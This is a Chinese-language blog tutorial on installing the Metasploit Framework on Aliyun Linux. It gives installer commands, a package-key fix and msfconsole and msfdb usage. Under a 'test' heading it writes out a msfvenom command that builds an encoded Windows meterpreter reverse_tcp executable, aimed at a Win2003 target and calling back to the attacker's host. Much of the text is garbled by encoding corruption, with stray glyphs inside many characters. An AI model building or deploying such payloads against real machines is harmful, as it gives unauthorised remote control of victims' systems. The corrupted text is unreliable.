您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)linux系統(tǒng)如何安裝msf,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
我的服務(wù)器系統(tǒng)是 Aliyun linux
1、下載安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall可能報(bào)錯(cuò):Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因?yàn)榘惭b庫的問題!
解決方法:
yum install -y epel-release
然后再重復(fù)上面那條命令!2、添加新用戶運(yùn)行msf
adduser msf #添加msf用戶
su msf #切換到msf用戶
cd /opt/metasploit-framework/bin #切換到msf所在的目錄
./msfconsole
#以后啟動(dòng)msfconsole,都切換到msf用戶下啟動(dòng),這樣會(huì)同步數(shù)據(jù)庫。
如果使用root用戶啟動(dòng)的話,不會(huì)同步數(shù)據(jù)庫!
(啟動(dòng)索引已經(jīng)默認(rèn)配好了!)
直接 msfconsole 就可以啟動(dòng)了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #相關(guān)命令 [msf@xxxx root]$ msf msfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom #數(shù)據(jù)庫初始化 [msf@xxxx root]$ msfdb Commands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component |
1 2 3 4 5 | #測(cè)試: e.g.我的虛擬主機(jī)是 Win2003(目標(biāo)機(jī)) msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe |
注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個(gè)坑折騰好久?。?!吐血?。?!]
ps:linux系統(tǒng)下安裝msf框架
命令:
1 2 3 | wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run chmod 755 metasploit-latest-linux-installer.run ./metasploit-latest-linux-installer.run |
等待運(yùn)行結(jié)束即可。關(guān)鍵地方按回車和Y即可。
關(guān)于“l(fā)inux系統(tǒng)如何安裝msf”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。